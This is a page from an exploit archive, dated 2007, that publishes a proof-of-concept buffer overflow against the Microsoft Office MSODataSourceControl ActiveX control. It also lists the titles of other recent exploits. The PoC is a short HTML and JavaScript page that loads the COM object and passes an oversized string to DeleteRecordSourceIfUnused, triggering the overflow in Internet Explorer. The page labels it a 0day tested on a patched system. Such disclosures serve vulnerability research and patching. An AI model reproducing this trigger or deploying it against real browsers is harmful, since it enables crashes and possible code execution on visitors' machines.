exploits , vulnerabilities , articles , Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

2007-06-15

Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)

Rated as : High Risk

MSODataSourceControl.DeleteRecordSourceIfUnused COM-object B0F POC
Tested on full patched XP/SP2, IE7, MSO2003

<html>
<object id=ctl
classid="clsid:{0002E55B-0000-0000-C000-000000000046}"></object>
<script language="javascript">
var b = 'AAAA';
while (b.length <= 256) b+=b;
ctl.DeleteRecordSourceIfUnused(b);
</script>
</html>
securitydot.net - 2007-06-15

Exploits - newest 10 RSS | More

2007-06-15 55461 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 32830 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 40835 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 28501 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19065 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16120 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 18733 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16011 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 32671 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 16639 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit